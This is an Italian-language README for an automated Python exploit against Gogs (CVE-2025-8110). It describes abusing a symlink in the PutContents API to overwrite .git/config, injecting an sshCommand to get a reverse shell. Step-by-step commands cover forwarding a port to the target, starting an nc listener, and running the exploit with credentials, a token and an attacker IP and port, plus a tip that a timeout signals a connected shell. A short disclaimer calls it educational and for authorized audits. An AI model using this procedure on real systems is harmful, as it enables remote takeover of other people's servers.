
Gogs CVE-2025-8110 RCE Exploit
Un exploit automatico in Python per CVE-2025-8110 in Gogs. Questa vulnerabilità consente l'esecuzione di codice remoto (RCE) abusando dell'API PutContents, che non riesce a convalidare se un percorso di file è un symlink. Sovrascrivendo il file interno .git/config tramite un symlink, possiamo iniettare un sshCommand dannoso per attivare una reverse shell.
Assicurati di avere Python 3 e le dipendenze necessarie installate:
pip install requests rich beautifulsoup4
Devi anche avere git installato e raggiungibile nel tuo $PATH per la fase di clonazione e commit del repository.
Gogs potrebbe essere in ascolto su 127.0.0.1:3001. Usa il port forwarding per accedere alla WebUI localmente:
ssh -L 3001:127.0.0.1:3001 user@target-ip
Una volta inoltrato, naviga su http://localhost:3001:
Lo script utilizza l'API di Gogs per inviare il payload:
Avvia il listener prima di eseguire lo script, poiché la shell si attiva non appena l'aggiornamento API viene elaborato.
nc -lvnp 5555
Passa le tue credenziali e il token come argomenti:
python3 exploit.py -u http://localhost:3001 -un <YOUR_USER> -pw <YOUR_PASS> -t <YOUR_TOKEN> -lh <YOUR_IP> -lp 5555
| Flag | Descrizione |
|---|---|
-u | L'URL di base dell'istanza Gogs (es. http://localhost:3001). |
-un | Il nome utente dell'account che hai creato. |
-pw | La password dell'account che hai creato. |
-t | Il token API generato in Impostazioni. |
-lh | L'indirizzo IP del tuo listener (LHOST). |
-lp | La porta del tuo listener (LPORT). |
Nota: Se lo script si blocca o restituisce un
Read timed outdopo "Overwriting .git/config", controlla il tuo listener. Questo di solito indica che la reverse shell si è connessa con successo e sta mantenendo la connessione.
Autore: TYehan
Disclaimer: Questo strumento è solo per scopi educativi e audit di sicurezza autorizzati. Usalo in modo responsabile.